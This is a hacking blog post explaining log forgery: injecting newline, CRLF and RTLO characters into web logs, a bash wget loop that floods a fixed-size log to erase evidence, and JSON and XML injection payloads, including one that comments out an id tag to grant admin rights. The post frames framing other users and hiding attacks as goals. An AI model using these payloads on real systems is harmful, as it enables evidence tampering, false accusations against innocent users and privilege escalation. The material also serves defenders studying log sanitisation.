Hi $readers;

Apologies for the long hiatus, I’ve been trying to juggle my new job and my personal life, and as a result I’ve been very busy lately. I decided to bring back my “technique of the week” series (of which this post is a continuiation of), despite not having published any for several months now. In this series, I try to cover lesser-known or obscure vulnerabilities that the average hacker is likely not aware of. In the past, I’ve covered techniques such as RFD and SSI Injection within the official “technique of the week” series, and additionally, I’ve also covered many obscure vulnerabilities in general as well as the contents of this blog… some examples would be my research into .htaccess or my research info XSF and Flash-based hacking, or even my posts covering obscure methods of spear phishing or my posts on DBMS Backdoors — there are several more posts I’ve made covering obscure techniques that I’ve used over the years (such as my “non-conventional WAF/IDS evasion” series), but there’s no point linking them here as they can all be found on this blog anyways — the point that I am making is I’ve been trying to go with a theme of covering obscure vulnerabilities for this blog, to help introduce many newer hackers to attack vectors that they aren’t as likely to be familiar with. In this post, I attempt to keep up this theme, although due to my lack of activity on this blog, I will be posting a few techniques here rather than covering just one.

I will be bringing back this series with semi-regular posts, continuing to cover more vulnerabilities. In this specific post, I plan to cover “log forgery” as an attack vector. I will post two more “technique of the week” posts over the course of the next few days, in order to make up for my lack of activity.


Log Forgery:

The attack vector I am about to introduce is different to log injection, yet also very similar. They both involve injecting your own content into log files, but in very different manners. Some people use the two terms interchangeably, but I think it’s worth differentiating between the two. When I say “log injection” I am referring to either poisoning the contents of a logfile and then calling it via an LFI in order to escalate the LFI to RCE, or I’m referring to stuff along the lines of injecting a blindXSS payload into a log via your user-agent header or whatever. Log forgery on the other hand is not injecting values into the contents of log files in order to escalate other vulnerabilities, but instead it is injecting faked logs into the file, in order to confuse a sysadmin with misleading information, or to mask a real attack that is happening so that it isn’t properly noticed.

Lets assume there’s an application which has a logging mechanism in their web interface, and within that logging mechanism it logs the username of each user of the application, along with each endpoint within the application that they navigated to, so it looks something as follows:

random-user6969 : /dashboard/search?query=blah
my-username420 : /dashboard/logout
administrator : /dashboard/menu/page1
blahblahblah : /dashboard/myprofile
blahblahblah : /dashboard/myprofile/editprofile
blahblahblah : /dashboard/myprofile/updateprofile
random-user6969 : /dashboard/documents/
random-user6969 : /dashboard/documents/upload
my-username420 : /login
my-username420 : /dashboard?logged_in=true
some-username : /dashboard/search?query=some-search
administrator: /dashboard/logout

Now, let’s assume that you were “random-user6969” and you had a problem with “my-username420”. You know that the admin actively checks logs looking for malicious activity, so you perform log forgery to make it look like they were exploiting an SQL Injection vulnerability in the site’s search form. There are a number of ways to generate forged logs, but in this example I will be using control chars. You could make a request to the following URL:

http://site.com/dashboard/%0amy-username420%20:%20/dashboard/search?query=1'%20waitfor%20delay%20'00:13:37'--

If log forgery is possible, the %0a character you injected will dictate a new line, causing everything after that in the URL to be outputted on the next line, as if it were a separate log event.

Now the log file would look something like this:

random-user6969 : /dashboard/search?query=blah
my-username420 : /dashboard/logout
administrator : /dashboard/menu/page1
blahblahblah : /dashboard/myprofile
blahblahblah : /dashboard/myprofile/editprofile
blahblahblah : /dashboard/myprofile/updateprofile
random-user6969 : /dashboard/documents/
random-user6969 : /dashboard/documents/upload
my-username420 : /login
my-username420 : /dashboard?logged_in=true
some-username : /dashboard/search?query=some-search
administrator: /dashboard/logout
random-user6969 : /dashboard/
my-username420 : /dashboard/search?query=1' waitfor delay '00:13:37'--

Now, from the admin’s point of view, my-username420 has made a malicious request, in the logs it looks like they attempted to exploit a Blind SQL Injection in the search form. As a result, the admin bans their account, but in reality the request was made by random-user6969 and they just injected a newline followed by a fake path in their URL, to make it appear that my-username420 was trying to hack the site. In addition to the urlencoded newline character, this can also be done via CRLF chars (%0d%0a), or in some instances (depending on how the logging mechanism works) you can inject a non-encoded newline char (\n) to achieve the same result — using a non-encoded newline character seems to be particularly effective while attempting to forge JVM logs in Java webapps. If the log renders HTML inputs, then you can achieve the same results by injecting a bunch of line break tags (<br />) although of course if their log file has HTML/JS Injection, then they have much bigger issues to be worrying about.

If the log files have a finite size (for example it is only logging the most recent 500 requests, and once request #501 is logged, request #1 will be removed from the log in its place, keeping the log file at a fixed number of lines) then an attacker could inject a bunch of newlines repeatedly, in order to remove the evidence of their actual attack from the file. For example they could just write a simple bash script with a cURL or wget loop to repeatedly inject a bunch of newlines with each iteration of the loop:

#!/bin/bash
while :
do
        wget -o "http://site.com/dashboard/%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a%0a"
       sleep 1
done

Of course if the logfile was a finite size you could just make repeated requests to anything, but if you can inject a ton of newlines into the log, you can overwrite its contents entirely within just a few seconds, which is particularly useful in instances where you’ve got an incompetent sysadmin attempting to grep the logs to detect your attack. Alternatively, you can inject an RTLO (right-to-left-override) character (unicode u202+e) in random places in the log files to flip a bunch of the bits, making the logs hard for the admin to read (although if they’re not a complete moron, they’ll figure this out quickly enough).

There are a few other cases of log forgery which I feel like is worth mentioning — it’s a slight variation of the methods discussed above, but for JSON or XML-based logging.

Consider the following JSON which logs a failed login attempt via console.log:

console.log({"Log-event": "INFORMATION", error: "Failed login attempt from ${username}"})

Simply using a newline with this type of log isn’t be very useful on the basis that the entire contents of console.log() will be treated as part of the log. However, if the logging mechanism is concatenating a string by combining the error message with some user-supplied input, then it can still be viable to inject a newline (and then breaking out of the JSON to inject your own beneath it):

invalid username : "}%0a {"Log-event": "CRITICAL", warning: "BRUTEFORCE ATTACK DETECTED FROM USER my-username420"}

Now, the outputted JSON in the log file will look like the following:

{"Log-event": "INFORMATION", error: "Failed login attempt from invalid username : "}
{"Log-event": "CRITICAL", warning: "BRUTEFORCE ATTACK DETECTED FROM USER my-username420"}

The atacker is injecting “} to break out of the JSON context, before using %0a or \r or \n to inject a newline, and then injecting their own (forged) JSON input.

Note that there are a number of situations that could prevent this from working, such as proper escaping of JSON-related chars, or proper usage of JSON’s enc or encode functions to properly encode newlines or CRLF chars. Now, with XML on the other hand, the method is very similar (breaking out of XML contents before injecting our own XML input). Consider the following XML-based log which detects failed login attempts from users, and logs their usernames:

<logfile>
    <failedLogin reason="too many login attempts" username="some-user" />
    <failedLogin reason="invalid password" username="some-other-user" />
    <failedLogin reason="unknown IP address" username="username123" />
</logfile>

An attacker could then attempt to login with their username set to the following value:

some-username"+/><failedLogin+reason="HACK ATTEMPT"+username="my-username420"+/>

As a result, the following XML document would be formed:

<logfile>
    <failedLogin reason="too many login attempts" username="some-user" />
    <failedLogin reason="invalid password" username="some-other-user" />
    <failedLogin reason="unknown IP address" username="username123" />
    <failedLogin reason="unknown" username="some-username" />
    <failedLogin reason="HACK ATTEMPT" username="my-username420" />
</logfile>

You may notice that there is no need to inject a newline char with XML inputs, this is because declaring a new XML tag will result in a new line anyways. There are some more advanced scenarios wherein log forgery via XMLi could be performed. One common method is to use comments to comment out certain tags, in order to be able to inject your own values. For example, consider the following XML document:

<users>
 <user>
  <username>randomuser6969</name>
  <country>USA</country>
  <id>1337</id>
  <email>mail@blah.com</email>
 </user>
</users>

The above document is a log file which stores information about each user. Let’s assume there is a script which takes some HTTP GET params and assigns them as attributes within an XML document, allowing the user to update the log that contains this information, to ensure that the info is current. Let’s also assume that there is no GET Param to input an ID value on the basis that the value should remain static and a user should not be able to change it due to the fact that permissions are generated by the ID value (for example, it reads from the XML log file to see what your ID is, and then assigns you permissions based on that ID — so id=0 could give you admin permissions) but you want to perform XML Injection to inject a custom ID into the log file so that when the permissions script reads from it, it assigns you admin perms. Well, there isn’t a GET param for ‘id’, and since the ‘id’ tag already exists, you can’t just inject the whole tag like seen with the examples above… so, instead what you could do is make use of HTML comments to comment out the XML tags that were already referenced, prior to injecting your own:

http://site.com/update-info?name=randomuser6969&country=USA</country><!--&email=--><id>0</id><email>mail@blah.com

As a result, the XML log file that the permissions script reads from to grant permissions will now look something like this:

<list>
 <user>
    <username>randomuser6969</username>
    <country>USA</country><!--</country>
    <id>1337</id>
    <email>=--><id>0</id><email>mail@blah.com</mail>
 <user>
</list>

Everything between <!– and –> will have been commented out and thus ignored, allowing you to then inject your own ID param into the XML file. From here, the permissions script would read the XML log file while deciding which permissions to set for each user, resulting in you being granted admin permissions. These techniques can also of course be used for generic XML Injection, but I’ve came across instances where I’ve had to pair XMLi with log forgery, so I figured it’s worth covering still.

Anyways, that’s all for now — there will be two more “technique of the week” posts coming within the next few days.

./mlt –out